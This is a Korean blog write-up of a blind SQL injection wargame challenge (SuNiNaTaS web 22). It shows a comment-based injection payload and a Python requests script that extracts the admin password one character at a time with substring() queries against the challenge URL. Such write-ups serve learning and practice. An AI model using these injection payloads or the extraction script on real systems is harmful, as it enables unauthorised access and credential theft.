Blind Sql Injection 문제입니다.


많은 문자열들이 필터링이 되어있어서 한정된 방법으로 풀어야합니다.


우선 주석에  <!-- Hint : guest / guest & Your goal is to find the admin's pw --> 과 같이 나와있으며

"admin" 계정의 대한 비밀번호를 찾으면 되는 문제입니다.


guest/guest를 입력해 전송하면 "OK guest"라는 메시지가 나옵니다.


주석이 필터링이 되어있나 확인해보기 위해 --를 입력해보니 잘 됩니다.

대충 이런 Query가 될 것입니다. select * from User_Table where id='guest' --' and pw='1'


뒤에 pw값은 주석으로 인해 무시가 되므로 id가 guest가 있으면 참으로 인식합니다.



Blind Sql Injection을 하기 위해서 처음에 pw가 몇 글자인지 알아야한다 생각하여 length() 함수를 사용했습니다.


length()함수가 필터링 되지는 않았지만 False라고 나오면서 실패하게 됩니다.

구문의 오류는 없어보이는데 왜 안되는지 모르겠네요..


한참을 length가지고 씨름을 하다가 다른 방법으로 해봤습니다.



substring() 함수를 사용해서 바로 찾아 봤습니다.

※substring(str, start, len): 문자열을 가져와서 시작 인덱스를 기준으로 지정된 길이만큼 가져옴. 1부터 시작


guest의 비밀번호는 guest임으로 다음과 같이 작성해봅니다.

99개의 길이를 가져와도 문자열 끝에는 %00이 오기에 인식하지 않습니다.


"OK guest"가 나오는 걸보니 잘 되는거 같습니다.



다음을 이용해서 Python 코드를 작성해 봤습니다.

Python의 requests 모듈을 이용해 해당 URL로 요청을 보내 "OK"값이 나오는지 확인해 봅니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
 
cookies= {'YourCookie_1':'YourCookie_value_1','YourCookie_2':'YourCookie_value_2'}
 
url = 'http://suninatas.com/Part_one/web22/web22.asp?'
password = ''
 
for i in range(1,20):
    for j in range(33,127):
        query = "id=admin' and substring(pw,"+str(i)+",1)='"+chr(j)+"'--&pw=1"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("OK")>0):
            password += chr(j)
            break
        
print ("password : "+password)
cs



정확한 길이를 몰라 20개까지 뽑았는데 문자열의 끝이 %%%%%로 채워지므로 해당 부분을 제외하고 인증하시면 됩니다.





'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_23 [WEB]  (0) 2018.10.03
SuNiNaTaS_24 [SYSTEM]  (0) 2018.09.22
SuNiNaTaS_12 [MISC]  (0) 2018.09.19
SuNiNaTaS_29 [FORENSIC]  (0) 2018.09.15
SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14

+ Recent posts